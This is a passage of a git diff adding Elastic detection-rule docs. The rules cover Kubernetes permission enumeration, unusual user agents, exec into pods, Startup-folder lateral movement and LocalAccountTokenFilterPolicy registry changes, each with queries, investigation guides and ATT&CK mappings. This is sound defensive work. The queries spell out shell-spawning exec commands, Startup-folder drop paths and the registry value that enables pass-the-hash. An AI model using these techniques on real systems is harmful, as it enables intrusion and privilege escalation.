+*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access +* https://techcommunity.microsoft.com/t5/microsoft-defender-for-cloud/detecting-identity-attacks-in-kubernetes/ba-p/3232340 + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Suspicious Self-Subject Review via Unusual User Agent* + + +Kubernetes uses APIs like selfsubjectaccessreview and selfsubjectrulesreview to allow entities to check their own permissions. While useful for debugging, adversaries can exploit these APIs to assess their access level after compromising service accounts or nodes. The detection rule identifies unusual API calls by non-human identities, flagging potential unauthorized privilege enumeration attempts. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific service account or node that triggered the alert by examining the kubernetes.audit.user.username or kubernetes.audit.impersonatedUser.username fields. +- Check the context of the API call by analyzing the kubernetes.audit.objectRef.resource field to confirm whether it involved selfsubjectaccessreviews or selfsubjectrulesreviews. +- Investigate the source of the API request by looking at the IP address and user agent in the audit logs to determine if the request originated from a known or expected source. +- Assess the recent activity of the implicated service account or node to identify any unusual patterns or deviations from normal behavior. +- Verify if there have been any recent changes to the permissions or roles associated with the service account or node to understand if the access level has been altered. +- Cross-reference the alert with any other security events or alerts in the environment to determine if this is part of a broader attack or compromise. + + +*False positive analysis* + + +- Service accounts used for automated tasks may trigger this rule if they are programmed to check permissions as part of their routine operations. To handle this, identify these accounts and create exceptions for their specific API calls. +- Nodes performing legitimate self-assessment for compliance or security checks might be flagged. Review the node's purpose and, if necessary, whitelist these actions in the detection rule. +- Development or testing environments where permissions are frequently checked by service accounts can generate false positives. Consider excluding these environments from the rule or adjusting the rule's sensitivity for these specific contexts. +- Regularly scheduled jobs or scripts that include permission checks as part of their execution may cause alerts. Document these jobs and adjust the rule to ignore these specific, non-threatening behaviors. + + +*Response and remediation* + + +- Immediately isolate the compromised service account or node by revoking its access tokens and credentials to prevent further unauthorized actions within the cluster. +- Conduct a thorough review of the audit logs to identify any other suspicious activities or access patterns associated with the compromised identity, focusing on any lateral movement or privilege escalation attempts. +- Rotate credentials and tokens for all service accounts and nodes that may have been exposed or compromised, ensuring that new credentials are distributed securely. +- Implement network segmentation and access controls to limit the ability of compromised identities to interact with sensitive resources or other parts of the cluster. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns of unauthorized privilege enumeration attempts. +- Review and update Kubernetes role-based access control (RBAC) policies to ensure that service accounts and nodes have the minimum necessary permissions, reducing the risk of privilege abuse. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb:"create" and +kubernetes.audit.objectRef.resource:("selfsubjectaccessreviews" or "selfsubjectrulesreviews") and ( + kubernetes.audit.user.username:(system\:serviceaccount\:* or system\:node\:*) or + kubernetes.audit.impersonatedUser.username:(system\:serviceaccount\:* or system\:node\:*) +) and user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-unusual-decision-by-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-unusual-decision-by-user-agent.asciidoc new file mode 100644 index 0000000000..c209e02b18 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-unusual-decision-by-user-agent.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-kubernetes-unusual-decision-by-user-agent]] +=== Kubernetes Unusual Decision by User Agent + +This rule detects unusual request responses in Kubernetes audit logs through the use of the "new_terms" rule type. In production environments, default API requests are typically made by system components or trusted users, who are expected to have a consistent user agent and allowed response annotations. By monitoring for anomalies in the username and response annotations, this rule helps identify potential unauthorized access or misconfigurations in the Kubernetes environment. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Domain: Container +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Unusual Decision by User Agent* + + +Kubernetes orchestrates containerized applications, relying on API requests for operations. Typically, these requests originate from system components or trusted users with consistent user agents. Adversaries might exploit this by using atypical user agents to mask unauthorized access or misconfigurations. The detection rule identifies anomalies in user agents and response annotations, signaling potential threats in the Kubernetes environment. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs for entries where the user_agent.original field is present to identify any unusual or unexpected user agents. +- Cross-reference the identified user agents with known system components and trusted users to determine if the user agent is legitimate or potentially malicious. +- Examine the kubernetes.audit.stage field for "ResponseComplete" entries to understand the context and outcome of the requests associated with the unusual user agent. +- Investigate the source IP addresses and associated usernames in the audit logs to identify any patterns or anomalies that could indicate unauthorized access. +- Check for any recent changes or deployments in the Kubernetes environment that might explain the presence of unusual user agents or unexpected behavior. +- Assess the risk and impact of the detected anomaly by considering the sensitivity of the accessed resources and the permissions associated with the user account involved. + + +*False positive analysis* + + +- System components or trusted users with legitimate but infrequent user agents may trigger the rule. To manage this, identify these user agents and add them to an exception list to prevent unnecessary alerts. +- Automated scripts or tools used for maintenance or monitoring might use unique user agents. Regularly review these tools and update the exception list to include their user agents if they are verified as non-threatening. +- New deployments or updates to Kubernetes components can introduce new user agents temporarily. Monitor these changes and adjust the rule exceptions accordingly to accommodate expected behavior during these periods. +- Third-party integrations or plugins may use distinct user agents. Validate these integrations and, if deemed safe, include their user agents in the exception list to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes node or cluster to prevent further unauthorized access or potential lateral movement by the adversary. +- Review and terminate any suspicious or unauthorized sessions identified in the audit logs to cut off any active malicious activity. +- Revoke and rotate credentials associated with the compromised user agent to prevent further unauthorized access using the same credentials. +- Conduct a thorough review of the affected system's configurations and permissions to identify and rectify any misconfigurations or overly permissive access controls. +- Implement additional monitoring and logging for the affected systems to detect any further anomalies or unauthorized activities promptly. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if any data exfiltration or further compromise has occurred. +- Update and enhance detection rules and alerts to better identify similar anomalies in user agents and response annotations in the future, ensuring quicker response times. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and kubernetes.audit.stage:"ResponseComplete" and +user_agent.original:(* and not (*kubernetes/$Format)) and +not ( + user_agent.original:kubelet* and + not kubernetes.audit.objectRef.resource:(pods or nodes or csinodes or csidrivers or configmaps or secrets or events or leases or runtimeclasses) and + kubernetes.audit.verb:(get or list or watch or patch) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-user-exec-into-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-user-exec-into-pod.asciidoc new file mode 100644 index 0000000000..e8b5101b92 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-user-exec-into-pod.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-kubernetes-user-exec-into-pod]] +=== Kubernetes User Exec into Pod + +This rule detects a user attempt to establish a shell session into a pod using the 'exec' command. Using the 'exec' command in a pod allows a user to establish a temporary shell session and execute any process/commands in the pod. An adversary may call bash to gain a persistent interactive shell which will allow access to any data the pod has permissions to, including secrets. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/ +* https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes User Exec into Pod* + + +Kubernetes allows users to execute commands within a pod using the 'exec' command, facilitating temporary shell sessions for legitimate management tasks. However, adversaries can exploit this to gain unauthorized access, potentially exposing sensitive data. The detection rule identifies such misuse by monitoring audit logs for specific patterns, such as allowed 'exec' actions on pods, indicating possible malicious activity. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user who executed the 'exec' command by examining the event.dataset field for "kubernetes.audit_logs". +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed and determine if the user had legitimate access. +- Investigate the kubernetes.audit.objectRef.resource and kubernetes.audit.objectRef.subresource fields to verify that the action involved a pod and the 'exec' subresource. +- Analyze the context of the pod involved, including its purpose and the data it has access to, to assess the potential impact of the unauthorized access. +- Correlate the event with other logs or alerts to identify any suspicious patterns or repeated unauthorized access attempts by the same user or IP address. +- Review the user's activity history to determine if there are other instances of unusual or unauthorized access attempts within the Kubernetes environment. + + +*False positive analysis* + + +- Routine administrative tasks by DevOps teams can trigger the rule when they use 'exec' for legitimate management purposes. To handle this, create exceptions for specific user accounts or roles that are known to perform these tasks regularly. +- Automated scripts or tools that use 'exec' for monitoring or maintenance can also cause false positives. Identify these scripts and whitelist their associated service accounts or IP addresses. +- Scheduled jobs or cron tasks that require 'exec' to perform updates or checks within pods may be flagged. Exclude these by setting up time-based exceptions for known maintenance windows. +- Development environments where frequent testing and debugging occur using 'exec' can lead to alerts. Implement environment-specific exclusions to reduce noise from non-production clusters. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further unauthorized access or data exposure. This can be done by applying network policies or temporarily scaling down the pod. +- Review the audit logs to identify the user or service account responsible for the 'exec' command and assess whether the access was legitimate or unauthorized. +- Revoke or adjust permissions for the identified user or service account to prevent further unauthorized 'exec' actions. Ensure that only necessary permissions are granted following the principle of least privilege. +- Conduct a thorough investigation of the pod's environment to identify any potential data exposure or tampering. Check for unauthorized changes to configurations, secrets, or data within the pod. +- If unauthorized access is confirmed, rotate any exposed secrets or credentials that the pod had access to, and update any affected systems or services. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems or pods have been compromised. +- Enhance monitoring and alerting for similar 'exec' actions in the future by ensuring that audit logs are continuously reviewed and that alerts are configured to notify the security team of any suspicious activity. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and kubernetes.audit.verb in ("get", "create") and +kubernetes.audit.objectRef.subresource == "exec" and kubernetes.audit.stage in ("ResponseComplete", "ResponseStarted") and +kubernetes.audit.level == "Request" and `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and +not ( + (kubernetes.audit.objectRef.namespace == "trident" and kubernetes.audit.objectRef.name like "trident-controller-*") or + (kubernetes.audit.objectRef.namespace == "vuls" and kubernetes.audit.requestURI like "/api/v1/namespaces/vuls/pods/vuls-*/exec?command=sh&command=-c&command=*+%2Fvuls%2Fresults*") or + (kubernetes.audit.objectRef.namespace == "git-runners" and kubernetes.audit.requestURI like ( + "/api/v1/namespaces/git-runners/pods/runner-*/exec?command=sh&command=-c&command=if+%5B+-x+%2Fusr%2Flocal%2Fbin%2Fbash+%5D%3B+then%0A%09exec+%2Fusr%2Flocal%2Fbin%2Fbash+%0Aelif+%5B+-x+%2Fusr%2Fbin%2Fbash+%5D%3B+then%0A%09exec+%2Fusr%2Fbin%2Fbash+%0Aelif+%5B+-x+%2Fbin%2Fbash+%5D%3B+then%0A%09exec+%2Fbin%2Fbash+%0Aelif+%5B+-x+%2Fusr%2Flocal%2Fbin%2Fsh+%5D%3B+then%0A%09exec+%2Fusr%2Flocal%2Fbin%2Fsh+%0Aelif+%5B+-x+%2Fusr%2Fbin%2Fsh+%5D%3B+then%0A%09exec+%2Fusr%2Fbin%2Fsh+%0Aelif+%5B+-x+%2Fbin%2Fsh+%5D%3B+then%0A%09exec+%2Fbin%2Fsh+%0Aelif+%5B+-x+%2Fbusybox%2Fsh+%5D%3B+then%0A%09exec+%2Fbusybox%2Fsh+%0Aelse%0A%09echo+shell+not+found%0A%09exit+1%0Afi%0A%0A&container=*&container=*&stderr=true&stdin=true&stdout=true", + "/api/v1/namespaces/git-runners/pods/runner-*/exec?command=gitlab-runner-helper&command=read-logs&command=--path&command=%2Flogs-*%2Foutput.log&command=--offset&command=0&command=--wait-file-timeout&command=1m0s&container=*&container=*&stderr=true&stdout=true" + )) or + (kubernetes.audit.objectRef.namespace == "elasticsearch-cluster" and kubernetes.audit.requestURI like ( + "/api/v1/namespaces/elasticsearch-cluster/pods/*/exec?command=df&command=-h&container=elasticsearch&stdin=true&stdout=true&tty=true", + "/api/v1/namespaces/elasticsearch-cluster/pods/*/exec?command=df&command=-h&container=elasticsearch&stderr=true&stdout=true", + "/api/v1/namespaces/elasticsearch-cluster/pods/*/exec?command=df&command=-h&container=kibana&stderr=true&stdout=true" + )) or + (kubernetes.audit.objectRef.namespace == "kube-system" and kubernetes.audit.requestURI like ( + "/api/v1/namespaces/kube-system/pods/*/exec?command=%2Fproxy-agent&command=--help&container=konnectivity-agent&stderr=true&stdout=true", + "api/v1/namespaces/kube-system/pods/*/exec?command=cilium&command=endpoint&command=list&command=-o&command=json&container=cilium-agent&stderr=true&stdout=true", + "/api/v1/namespaces/kube-system/pods/*/exec?command=cilium&command=status&command=-o&command=json&container=cilium-agent&stderr=true&stdout=true", + "/api/v1/namespaces/kube-system/pods/*/exec?command=sh&command=-c&command=clear%3B+%28bash+%7C%7C+ash+%7C%7C+sh%29&container=*&stdin=true&stdout=true&tty=true" + )) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lateral-movement-via-startup-folder.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lateral-movement-via-startup-folder.asciidoc new file mode 100644 index 0000000000..954cd8effe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lateral-movement-via-startup-folder.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-lateral-movement-via-startup-folder]] +=== Lateral Movement via Startup Folder + +Identifies suspicious file creations in the startup folder of a remote system. An adversary could abuse this to move laterally by dropping a malicious script or executable that will be executed after a reboot or user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mdsec.co.uk/2017/06/rdpinception/ +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Lateral Movement via Startup Folder* + + +The Windows Startup folder is a mechanism that allows programs to run automatically upon user logon or system reboot. Adversaries exploit this by placing malicious files in the Startup folder of remote systems, often accessed via RDP or SMB, to ensure persistence and facilitate lateral movement. The detection rule identifies suspicious file activities in these folders, focusing on processes like mstsc.exe, which may indicate unauthorized access and file creation, signaling potential lateral movement attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file creation or change event in the specified Startup folder paths, focusing on the file path patterns: "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" and "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*". +- Check the process information associated with the event, particularly if the process name is "mstsc.exe" or if the process ID is 4, to determine if the activity is linked to remote access via RDP or SMB. +- Investigate the origin of the remote connection by examining network logs or RDP session logs to identify the source IP address and user account involved in the connection. +- Analyze the newly created or modified file in the Startup folder for malicious characteristics, such as unusual file names, unexpected file types, or known malware signatures, using antivirus or sandbox analysis tools. +- Review user account activity and permissions to determine if the account associated with the process has been compromised or is being misused for unauthorized access. +- Correlate this event with other security alerts or logs from data sources like Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related suspicious activities or patterns indicating lateral movement attempts. + + +*False positive analysis* + + +- Legitimate software installations or updates may create files in the Startup folder, triggering the rule. Users can manage this by maintaining a list of known software that typically modifies the Startup folder and creating exceptions for these processes. +- System administrators using remote desktop tools like mstsc.exe for legitimate purposes might inadvertently trigger the rule. To handle this, users can exclude specific administrator accounts or known IP addresses from the detection rule. +- Automated scripts or system management tools that deploy updates or configurations across multiple systems might cause false positives. Users should identify these tools and add them to an exclusion list to prevent unnecessary alerts. +- Some enterprise applications may use the Startup folder for legitimate operations, especially during system boot or user logon. Users should document these applications and configure the rule to ignore file changes associated with them. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement and potential spread of the threat. +- Terminate any suspicious processes, particularly those related to mstsc.exe or any unauthorized processes with PID 4, to halt any ongoing malicious activities. +- Remove any unauthorized files or scripts found in the Startup folder paths specified in the detection query to prevent them from executing on reboot or user logon. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for RDP and SMB activities, focusing on unusual file creation events in Startup folders, to improve detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type in ("creation", "change") and + + /* via RDP TSClient mounted share or SMB */ + (process.name : "mstsc.exe" or process.pid == 4) and + + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-local-account-tokenfilter-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-local-account-tokenfilter-policy-disabled.asciidoc new file mode 100644 index 0000000000..ed0fe62ab0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-local-account-tokenfilter-policy-disabled.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-local-account-tokenfilter-policy-disabled]] +=== Local Account TokenFilter Policy Disabled + +Identifies registry modification to the LocalAccountTokenFilterPolicy policy. If this value exists (which doesn't by default) and is set to 1, then remote connections from all local members of Administrators are granted full high-integrity tokens during negotiation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2014-04-02/finding/V-36439 +* https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167 +* https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Local Account TokenFilter Policy Disabled* + + +The LocalAccountTokenFilterPolicy is a Windows registry setting that, when enabled, allows remote connections from local administrators to use full high-integrity tokens. Adversaries may exploit this to bypass User Account Control (UAC) and gain elevated privileges remotely. The detection rule monitors changes to this registry setting, identifying potential unauthorized modifications that could indicate an attempt to facilitate lateral movement or evade defenses. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the change to the LocalAccountTokenFilterPolicy setting, specifically looking for entries where the registry.value is "LocalAccountTokenFilterPolicy" and registry.data.strings is "1" or "0x00000001". +- Identify the user account and process responsible for the registry modification by examining the associated event logs for user and process information. +- Check for any recent remote connections to the affected system, focusing on connections initiated by local administrator accounts, to determine if the change was exploited for lateral movement. +- Investigate any other recent registry changes on the host to identify potential patterns of unauthorized modifications that could indicate broader malicious activity. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, SentinelOne, or Microsoft Defender XDR to gather additional context and assess the scope of the potential threat. +- Assess the system for signs of compromise or malicious activity, such as unusual processes, network connections, or file modifications, that may have occurred around the time of the registry change. + + +*False positive analysis* + + +- Administrative tools or scripts that modify the LocalAccountTokenFilterPolicy for legitimate configuration purposes may trigger alerts. To manage this, identify and document these tools, then create exceptions for their known registry changes. +- System updates or patches that adjust registry settings as part of their installation process can cause false positives. Monitor update schedules and correlate alerts with these activities to determine if they are benign. +- Security software or management solutions that enforce policy changes across endpoints might modify this registry setting. Verify these actions with your IT or security team and consider excluding these processes from triggering alerts. +- Custom scripts or automation tasks used for system hardening or configuration management may alter this setting. Review these scripts and whitelist their expected changes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revert the registry setting for LocalAccountTokenFilterPolicy to its default state if it was modified without authorization. +- Conduct a thorough review of recent administrative activities and access logs on the affected system to identify any unauthorized access or changes. +- Reset passwords for all local administrator accounts on the affected system to prevent potential misuse of compromised credentials. +- Deploy endpoint detection and response (EDR) tools to monitor for any further suspicious activities or attempts to modify registry settings. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional network segmentation and access controls to limit administrative access to critical systems and reduce the risk of similar threats. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "LocalAccountTokenFilterPolicy" and + registry.path : ( + "HKLM\\*\\LocalAccountTokenFilterPolicy", + "\\REGISTRY\\MACHINE\\*\\LocalAccountTokenFilterPolicy", + "MACHINE\\*\\LocalAccountTokenFilterPolicy" + ) and registry.data.strings : ("1", "0x00000001") and + not process.executable : ( + /* Intune */ + "C:\\Windows\\system32\\deviceenroller.exe", + "C:\\Windows\\system32\\omadmclient.exe", + "C:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "C:\\Windows\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\system32\\deviceenroller.exe", + "\\Device\\HarddiskVolume*\\system32\\omadmclient.exe", + "\\Device\\HarddiskVolume*\\UUS\\amd64\\MoUsoCoreWorker.exe", + "\\Device\\HarddiskVolume*\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-long-base64-encoded-command-via-scripting-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-long-base64-encoded-command-via-scripting-interpreter.asciidoc new file mode 100644 index 0000000000..2fba642cdb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-long-base64-encoded-command-via-scripting-interpreter.asciidoc @@ -0,0 +1,173 @@ 